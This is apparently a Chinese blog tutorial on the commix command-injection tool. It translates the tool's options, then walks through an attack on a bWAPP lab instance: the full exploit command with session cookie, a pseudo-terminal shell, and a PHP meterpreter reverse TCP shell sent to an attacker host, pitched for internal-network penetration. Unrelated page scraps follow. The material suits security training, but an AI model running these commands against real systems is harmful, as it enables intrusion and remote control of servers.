commix简介

commix是一款由python编写,开源自动化检测系统命令注入工具  https://github.com/commixproject/commix

commix 参数

  • 选项:

  • -v           VERBOSE详细程度级别(0-1,默认值:0)。

  • --version       显示版本号并退出。

  • --output-dir=..   设置自定义输出目录路径。

  • -s SESSION_FILE   从存储(.sqlite)文件加载会话。

  • --flush-session   刷新当前目标的会话文件。

  • --ignore-session  忽略存储在会话文件中的结果。

  • 目标:

  • -u URL,--url = URL  目标URL。

  • --url-reload      在命令执行后重新加载目标URL。

  • -l LOGFILE       解析来自HTTP代理日志文件的目标和数据。

  • --crawl = CRAWLDEPTH  从目标网址开始抓取网站(1-2,默认值:0)。

  • 请求:

  • --data=DATA      要通过POST发送的数据字符串。

  • --host=HOST       HTTP主机头。

  • --referer=REFERER   HTTP Referer标头。

  • --user-agent=AGENT  HTTP用户代理头。

  • --random-agent    使用随机选择的HTTP User-Agent头。

  • --param-del=PDEL   设置分割参数值的字符。

  • --cookie=COOKIE    HTTP Cookie头。

  • --cookie-del=CDEL   设置分割cookie值的字符。

  • --headers=HEADERS   额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。

  • --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:8080”)。

  • --tor          使用Tor网络。

  • --tor-port=...      设置Tor代理端口(默认值:8118)。

  • --auth-url=...     登录面板URL。

  • --auth-data =AUTH   登录参数和数据。

  • --auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。

  • --auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。

  • --ignore-401      忽略HTTP错误401(未授权)。

  • --force-ssl      强制使用SSL / HTTPS。

  • 枚举:

  • 这些选项可用于枚举目标主机。

  • --all            检索一切。

  • --current-user       检索当前用户名。

  • --hostname         检索当前主机名。

  • --is-root          检查当前用户是否具有root权限。

  • --is-admin         检查当前用户是否具有管理员权限。

  • --sys-info         检索系统信息。

  • --users           检索系统用户。

  • --passwords         检索系统用户密码散列。

  • --privileges        检索系统用户权限。

  • --ps-version        检索PowerShell的版本号。

  • 文件访问:

  • 这些选项可用于访问目标主机上的文件。

  • --file-read = FILE ..  从目标主机读取文件。

  • --file-write = FIL ..  写入目标主机上的文件。

  • --file-upload = FI ..  在目标主机上上传文件。

  • --file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。

  • 模块:

  • 这些选项可用于增加检测和/或注射能力。

  • --icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。  (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。

  • --dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。

  • --shellshock“炮弹”注射模块。

  • 注射:

  • 这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。

  • -p TEST_PARAMETER    可测试参数。

  • --suffix = SUFFIX    注入有效负载后缀字符串。

  • --prefix = PREFIX    注入有效负载前缀字符串。

  • --technique = TECH   指定要使用的进样技术。

  • --maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。

  • --delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。

  • --tmp-path = TMP_P ..  设置Web服务器的临时目录的绝对路径。

  • --root-dir = SRV_R ..  设置Web服务器根目录的绝对路径。

  • --alter-shell = AL ..  使用另一个os-shell(例如'Python')。

  • --os-cmd = OS_CMD    执行单个操作系统命令。

  • --os = OS        将后端操作系统强制为此值。

  • --tamper = TAMPER   使用给定脚本篡改注射数据。

  • 检测:

  • 这些选项可用于自定义检测阶段。

  • --level = LEVEL  要执行的测试级别(1-3,默认值:1)。

  • --skip-calc    在检测期间跳过数学计算

  • --dependencies  检查第三方(非内核)依赖关系。

演示

POST /bWAPP/commandi.php HTTP/1.1

Host: 192.168.115.12

Referer: http://192.115.12bWAPP/commandi.php

Cookie: acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0

target=www.nsa.gov&form=submit

commix利用

~# commix --url "http://192.168.115.12/bWAPP/commandi.php" --cookie="acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0" --data="target=www.nsa.gov&form=submit"

询问是否想要一个shell 输入Y 的到shell

[?] Do you want a Pseudo-Terminal shell? [Y/n] > y

Pseudo-Terminal (type '?' for available options)

commix(os_shell) >

得到shell

commix(os_shell) > pwd

/owaspbwa/bwapp-git/bWAPP

commix(os_shell) > id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

commix(os_shell) > ls -ll

可以进行反弹shell 结合metasploit 进行内网渗透

commix(os_shell) > reverse_tcp

commix(reverse_tcp) > set LHOST 192.168.120.101 """(msf机器)

LHOST => 192.168.120.101

commix(reverse_tcp) > set LPORT 4444

LPORT => 4444

---[ Reverse TCP shells ]---

Type '1' to use a netcat reverse TCP shell.

Type '2' for other reverse TCP shells.

commix(reverse_tcp) > 2

---[ Unix-like reverse TCP shells ]---

Type '1' to use a PHP reverse TCP shell.

Type '2' to use a Perl reverse TCP shell.

Type '3' to use a Ruby reverse TCP shell.

Type '4' to use a Python reverse TCP shell.

Type '5' to use a Socat reverse TCP shell.

Type '6' to use a Bash reverse TCP shell.

Type '7' to use a Ncat reverse TCP shell.

---[ Meterpreter reverse TCP shells ]---

Type '8' to use a PHP meterpreter reverse TCP shell.

Type '9' to use a Python meterpreter reverse TCP shell.

Type '10' to use a Windows meterpreter reverse TCP shell.

Type '11' to use the web delivery script.

commix(reverse_tcp_other) > 8

[*] Generating the 'php/meterpreter/reverse_tcp' payload... [ SUCCEED ]

[*] Type "msfconsole -r /usr/share/commix/php_meterpreter.rc" (in a new window). #复制 启动msf

[*] Once the loading is done, press here any key to continue...  #按下确定建就可进行在msf接收到反弹的shell

[+] Everything is in place, cross your fingers and wait for a shell!

总结 commix工具利用

1.访问 web页面http://192.168.115.12/bWAPP/commandi.php

2.提交数据 通过抓包工具截取 url  cookie  data数据

3.用commix 工具指定链接并进入后台

commix  -- url "http://192.168.115.12/bWAPP/commandi.php"   --data="target=www.nsa.gov&form=submit"  --cookie "xxxxxxxxxxxxxxxxxxxxxxx"

commix工具配合命令注入的更多相关文章

  1. command injection命令注入

    命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...

  2. commix 命令注入工具

    关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...

  3. 命令注入工具Commix

    命令注入工具Commix   命令注入(Command Injection)攻击是针对Web应用的一种攻击方式.很多Web应用会读取用户提交的数据,然后传递到系统Shell,执行特定的操作,如为用户创 ...

  4. Commix命令注入漏洞利用

    介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...

  5. WEB安全第一篇--对服务器的致命一击:代码与命令注入

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  6. CTF练习三 —— 命令注入&命令执行绕过

    这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...

  7. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  8. 2.SDK目录结构和adb工具及命令介绍

    安卓开发学习笔记 1.安卓开发之环境搭建 2.SDK目录结构和adb工具及命令介绍 1.SDK目录介绍: ******************************** add-ons:Androi ...

  9. OS命令注入

    SSL http://kb.cnblogs.com/page/162080/ http://baike.baidu.com/link?url=jPitKuDw_ncDlMbOc1SkWzM9TuKX9 ...

随机推荐

  1. 面试官:你有m个鸡蛋,如何用最少的次数测出鸡蛋会在哪一层碎?

    假设你面前有一栋n层的大楼和m个鸡蛋,假设将鸡蛋从f层或更高的地方放扔下去,鸡蛋才会碎,否则就不会.你需要设计一种策略来确定f的值,求最坏情况下扔鸡蛋次数的最小值. leetcode原题链接 乍一看这 ...

  2. 阿里云DLA工具 查询tablestore数据

    OTS和DLA元信息映射逻辑 字段的映射关系 OTS DLA INTEGER(8bytes) bigint(8bytes) STRING varchar BINARY varbinary DOUBLE ...

  3. CentOS7 Redis5.0.5环境搭建

    CentOS7 Redis5.0.5环境搭建 1基本环境配置 CentOS Linux release 7.6.1810 (Core) redis 5.0.5 1.下载解压redis.通过wget在官 ...

  4. win10家庭版升级专业版

    在网上随便百度一个产品密钥,记得一定要先断网(这个很重要),否则很难升级. 升级之后发现产品未激活,下载KMS激活一下就可以了.

  5. 从0开始学FreeRTOS-(列表&列表项)-6

    # FreeRTOS列表&列表项的源码解读 第一次看列表与列表项的时候,感觉很像是链表,虽然我自己的链表也不太会,但是就是感觉很像. 在FreeRTOS中,列表与列表项使用得非常多,是Free ...

  6. 使用低版本的VS打开高版本项目的解决方案(以VS2008打开VS2010开发的项目为例)

    使用低版本的VS打开高版本项目的解决方案,这里以VS2008打开VS2010开发的项目为例. 右键项目的sln文件以记事本的方式打开: 将对应的前两列版本各降到对应的版本,这边的11.00改为10.0 ...

  7. 09-01 Tensorflow1基本使用

    目录 Tensorflow基本使用 一.确认安装Tensorflow 二.获取MNIST数据集 三.使用Tensorflow训练--Softmax回归 四.使用Tensorflow训练--卷积神经网络 ...

  8. Django中CKEditor富文本编译器的使用

    CKEditor富文本编辑器 1. 安装 pip install django-ckeditor 2. 添加应用 在INSTALLED_APPS中添加 INSTALLED_APPS = [ ... ' ...

  9. Django跨域问题(CORS错误)

    Django跨域问题(CORS错误) 一.出现跨域问题(cors错误)的原因 通常情况下,A网页访问B服务器资源时,不满足以下三个条件其一就是跨域访问 协议不同 端口不同 主机不同 二.Django解 ...

  10. django-Xadmin后台管理

    0919自我总结 django-Xadmin后台管理 一.安装环境 pip install https://codeload.github.com/sshwsfc/xadmin/zip/django2 ...